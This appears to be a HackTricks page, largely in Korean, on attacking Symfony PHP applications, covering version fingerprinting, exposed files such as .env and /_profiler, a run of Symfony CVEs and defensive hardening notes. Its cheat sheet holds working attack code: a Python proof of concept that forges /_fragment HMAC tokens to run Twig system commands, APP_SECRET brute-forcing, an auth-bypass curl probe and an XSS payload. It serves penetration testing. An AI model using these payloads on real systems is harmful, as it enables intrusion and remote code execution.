Symfony

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Symfony는 가장 널리 사용되는 PHP 프레임워크 중 하나로 엔터프라이즈, e-commerce, CMS 대상 평가에서 자주 등장합니다 (Drupal, Shopware, Ibexa, OroCRM … 모두 Symfony 컴포넌트를 포함). 이 페이지는 Symfony 애플리케이션을 발견했을 때 체크리스트에 올려야 할 공격 팁, 흔한 잘못된 구성 및 최근 취약점들을 정리합니다.

Historical note: A large part of the ecosystem still runs the 5.4 LTS branch (EOL November 2025). Symfony 7.4 became the new LTS in Nov 2025 and will receive security fixes until Nov 2029. Always verify the exact patch-level because many 2024‑2026 advisories were fixed only in micro releases.


Recon & Enumeration

Finger-printing

  • HTTP response headers: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link or cookies starting with sf_redirect, sf_session, MOCKSESSID.
  • Source code leaks (composer.json, composer.lock, /vendor/…) often reveal the exact version:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Public routes that only exist on Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pretty error pages)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists: symfony.txt → 다음 항목을 찾아보세요: /_fragment, /_profiler, .env, .htaccess.

Interesting files & endpoints

PathWhy it matters
/.env, /.env.local, /.env.prod자주 잘못 배포되어 APP_SECRET, DB 자격증명, SMTP, AWS keys가 leaks
/.git, .svn, .hg소스 노출 → 자격증명 및 비즈니스 로직 노출
/var/log/*.log, /log/dev.log웹 루트 잘못 구성 시 stack-trace 노출
/_profiler전체 요청 기록, 설정, service container, APP_SECRET (≤ 3.4)
/_fragmentESI/HInclude에서 사용하는 진입점. APP_SECRET을 알면 악용 가능
/vendor/phpunit/phpunit/phpunit접근 가능하면 PHPUnit RCE (CVE-2017-9841)
/index.php/_error/{code}Finger-print 및 가끔 exception traces를 leak

High-impact Vulnerabilities

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 originally, but still appears on modern targets when debug is left enabled or .env is exposed.
  • 32자 APP_SECRET을 알게 되면 HMAC 토큰을 생성해 내부 render() 컨트롤러를 남용하여 임의의 Twig를 실행할 수 있습니다:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • 우수한 write-up 및 exploitation 스크립트: Ambionics blog (References에 링크됨).

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)

  • 5.4.50 미만, 6.4.29 미만, 7.3.7 미만에 영향. 경로 정규화 과정에서 선행 /가 제거되어 /admin 등을 가정한 접근 제어 규칙이 깨질 수 있습니다.
  • 빠른 테스트: curl -H 'PATH_INFO: admin/secret' https://target/index.php → 인증 없이 admin 라우트에 도달하면 취약합니다.
  • 해결: symfony/http-foundation 또는 전체 프레임워크를 고정 패치 수준으로 업그레이드하세요.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • Windows에서 PHP가 MSYS2 (Git-Bash, mingw)에서 실행될 때 영향(버전: 5.4.51 미만, 6.4.33 미만, 7.3.11 미만, 7.4.5 미만, 8.0.5 미만). Process=를 제대로 인용하지 못해 경로가 손상되며, rmdir, del 같은 파괴적 명령이 의도하지 않은 디렉터리를 대상으로 할 수 있습니다.
  • PHP 스크립트를 업로드하거나 Process를 호출하는 Composer/CLI 헬퍼에 영향을 줄 수 있다면, =를 포함한 인수(예: E:/=tmp/delete)를 조작해 경로를 덮어쓸 수 있습니다.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • register_argv_argc=On이고 non-SAPI 런타임을 사용할 때, 조작된 쿼리 스트링이 argv 파싱을 통해 APP_ENV/APP_DEBUG를 뒤바꿀 수 있습니다. 5.4.46/6.4.14/7.1.7에서 패치됨.
  • 로그에서 /?--env=prod 같은 항목이 수용되는지 확인하세요.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • URI의 특수 문자가 브라우저가 검사하는 방식과 동일하게 검증되지 않아 공격자 제어 도메인으로의 리다이렉트를 허용할 수 있었습니다. 5.4.46/6.4.14/7.1.7에서 수정됨.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-componentsymfony/ux-live-component (2.25.1 이전)에서 {{ attributes }}를 이스케이프 없이 렌더링하여 attribute injection/XSS가 발생할 수 있습니다. 애플리케이션이 컴포넌트 속성을 사용자에게 정의하게 허용하면(예: admin CMS, 이메일 템플릿) 스크립트 주입으로 이어질 수 있습니다.
  • 두 패키지를 2.25.1+로 업데이트하세요. 수동 익스플로잇은 커스텀 컴포넌트에 전달되는 속성 값에 JS를 넣고 렌더링을 트리거하는 방식입니다.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • Windows에서 Process 컴포넌트가 PATH보다 현재 작업 디렉터리를 먼저 검색했습니다. 웹 루트에 tar.exe, cmd.exe 등을 업로드할 수 있고 Process를 트리거(예: 파일 추출, PDF 생성)하면 명령 실행을 얻을 수 있습니다.
  • 5.4.50, 6.4.14, 7.1.7에서 패치됨.

8. Session-Fixation – CVE-2023-46733

  • Authentication guard가 로그인 후 기존 세션 ID를 재사용했습니다. 공격자가 피해자가 인증하기 전에 쿠키를 설정하면 로그인 이후 계정을 하이재크할 수 있습니다.

9. Twig sandbox XSS – CVE-2023-46734

  • 사용자 제어 템플릿을 노출하는 애플리케이션(관리자 CMS, 이메일 빌더 등)에서 nl2br 필터가 sandbox를 우회해 JS 주입에 악용될 수 있었습니다.

10. Symfony 1 gadget chains (still found in legacy apps)

  • phpggc symfony/1 system id는 Phar 페이로드를 생성하며 unserialize()sfNamespacedParameterHolder 같은 클래스에서 호출되면 RCE를 유발합니다. 파일 업로드 엔드포인트와 phar:// 래퍼를 확인하세요.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce 약한 APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

노출된 Symfony Console을 통한 RCE

만약 bin/consolephp-fpm 또는 직접 CLI 업로드를 통해 접근 가능하다면:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

cache directory 안에 deserialization gadgets를 사용하거나, 다음 요청에서 실행될 악성 Twig 템플릿을 작성하세요.

PATH_INFO bypass를 빠르게 Probe (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

렌더된 출력이 속성을 이스케이프 없이 그대로 출력하면 XSS가 성공합니다. 2.25.1+로 패치하세요.


방어 노트

  1. Never deploy debug (APP_ENV=dev, APP_DEBUG=1)를 프로덕션에 절대 배포하지 마십시오; 웹서버 설정에서 /app_dev.php, /_profiler, /_wdt를 차단하세요.
  2. 비밀값은 env vars 또는 vault/secrets.local.php에 저장하고, 문서 루트를 통해 접근 가능한 파일에는 절대 저장하지 마세요.
  3. 패치 관리를 철저히 하세요 – Symfony 보안 공지에 구독하고 최소한 LTS 패치 레벨을 유지하세요 (5.4.x는 Nov 2025까지, 6.4는 Nov 2027까지, 7.4는 Nov 2029까지).
  4. Windows에서 운영 중이라면 CVE-2024-51736 및 CVE-2026-24739을 완화하기 위해 즉시 업그레이드하거나 open_basedir/disable_functions 다층 방어를 추가하세요.

유용한 공격 도구

  • ambionics/symfony-exploits – secret-fragment RCE, debugger 경로 탐색.
  • phpggc – Ready-made gadget chains for Symfony 1 & 2.
  • sf-encoder_fragment HMAC를 계산하는 작은 헬퍼 (Go 구현).

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기